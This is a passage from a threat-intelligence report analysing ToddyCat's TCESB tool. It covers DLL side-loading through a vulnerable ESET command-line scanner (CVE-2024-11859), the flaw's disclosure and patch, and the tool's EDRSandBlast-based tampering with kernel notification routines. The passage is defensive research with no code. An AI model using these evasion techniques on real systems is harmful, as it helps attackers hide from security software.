However, this is not enough to launch malware. For a malicious DLL to be able to take control, the application that loads it must contain insecure code. Such code searches for loaded dynamic library images in folders where they should not be located. If one of these folders contains a malicious library, the vulnerable application will load it instead of the legitimate one. Microsoft has an official advisory on preventing unsafe DLL loading.

CVE-2024-11859 vulnerability in ESET Command line scanner

It took us a while to find the file that loads the TCESB tool. We studied the system directories on devices where the malicious DLLs were found. On one of these, in the same folder as TCESB, there was an extensionless executable file named

ecls

. We believe that the operator, when transferring files to the device, made a mistake in the filename and moved two copies of it. After performing malicious activity, the file with the extension was deleted, while the other one remained in the system. This file turned out to be a component of ESET’s EPP solution – a scanner launched from the command line (ESET Command line scanner). Dynamic analysis showed that the scanner insecurely loads the system library

version.dll

, first checking for the file in the current directory, then searching for it in the system directories. This can result in a malicious DLL library being loaded, which constitutes a vulnerability. We compiled a report with a detailed description of it, and sent it to ESET as part of the Coordinated Vulnerability Disclosure process. ESET registered the CVE-2024-11859 vulnerability, then on January 21, 2025 released an update for the

ecls

file patching the security issue. On April 4, information about this vulnerability appeared in an ESET security advisory.

To analyze TCESB, we ran it in a virtual environment. In the address space of the ESET Command-line scanner process, we can see two

version.dll

files. One is the system library, the other is the DLL of the TCESB tool.

Malicious and legitimate libraries in the memory of the ecls.exe process

Basic functionality

To determine the main functions of the malicious tool, we examined the strings located in its DLL.

Snippet of the list of strings that TCESB contains

The strings are not obfuscated. The search shows that most of them belong to the open-source malicious tool EDRSandBlast, designed to bypass security solutions. Kaspersky solutions detect it with the verdict

HEUR:HackTool.Win64.EDRSandblast.a

. ToddyCat created the TCESB DLL on its basis, modifying the original code to extend the malware’s functionality. The resulting tool’s capabilities include modifying operating system kernel structures to disable notification routines, for example, about a process creation event in the system or a load event.

Searching for addresses in the kernel memory

To find the structures in the kernel memory needed to disable notification routines, TCESB determines the version of the Windows kernel in the context of which it is running. To do this, it uses the